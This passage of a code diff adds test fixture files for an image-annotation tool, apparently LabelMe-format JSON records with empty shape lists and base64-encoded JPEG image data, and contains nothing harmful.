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", + "imageHeight": 889, + "imageWidth": 500 +} \ No newline at end of file diff --git a/tests/test_files/json/10.json b/tests/test_files/json/10.json new file mode 100644 index 0000000000000000000000000000000000000000..da88032233165eb6d5cfa29e0bb37177ebc0556f --- /dev/null +++ b/tests/test_files/json/10.json @@ -0,0 +1,9 @@ +{ + "version": "5.0.1", + "flags": {}, + "shapes": [], + "imagePath": "10.jpg", + "imageData": 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